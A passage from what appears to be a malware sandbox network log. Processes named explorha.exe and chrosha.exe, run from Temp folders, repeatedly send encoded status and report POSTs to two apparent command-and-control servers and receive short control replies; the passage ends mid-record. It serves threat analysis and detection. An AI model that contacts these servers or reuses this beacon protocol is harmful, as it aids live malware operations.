Apr 19, 2024 03:33:10.803433895 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:11.059469938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.5	50544	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:11.149333000 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:11.396939993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.5	50545	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:11.417512894 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:11.663871050 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.5	50546	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:11.652049065 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:11.907391071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.5	50547	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:11.908889055 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:12.155509949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.5	50548	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:12.265556097 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:12.513118982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.5	50549	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:12.510811090 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:12.757867098 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.5	50550	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:12.758456945 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:13.004904985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.5	50551	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:13.000708103 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:13.245023012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.5	50552	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:13.360433102 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:13.601059914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.5	50553	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:13.600435972 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:13.845953941 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.5	50554	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:13.854491949 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:14.107292891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.5	50556	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:14.097085953 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:14.357805014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.5	50557	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:14.467315912 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:14.714122057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.5	50558	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:14.710908890 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:14.957750082 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.5	50559	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:14.961406946 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:15.208961010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.5	50560	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:15.210519075 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:15.464256048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.5	50561	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:15.571472883 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:15.818169117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.5	50562	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:15.819173098 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:16.063188076 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.5	50563	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:16.073565960 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:16.327847004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.5	50564	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:16.314544916 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:16.561790943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.5	50565	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:16.677108049 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:16.921678066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.5	50566	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:16.909847021 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:17.152375937 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.5	50567	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
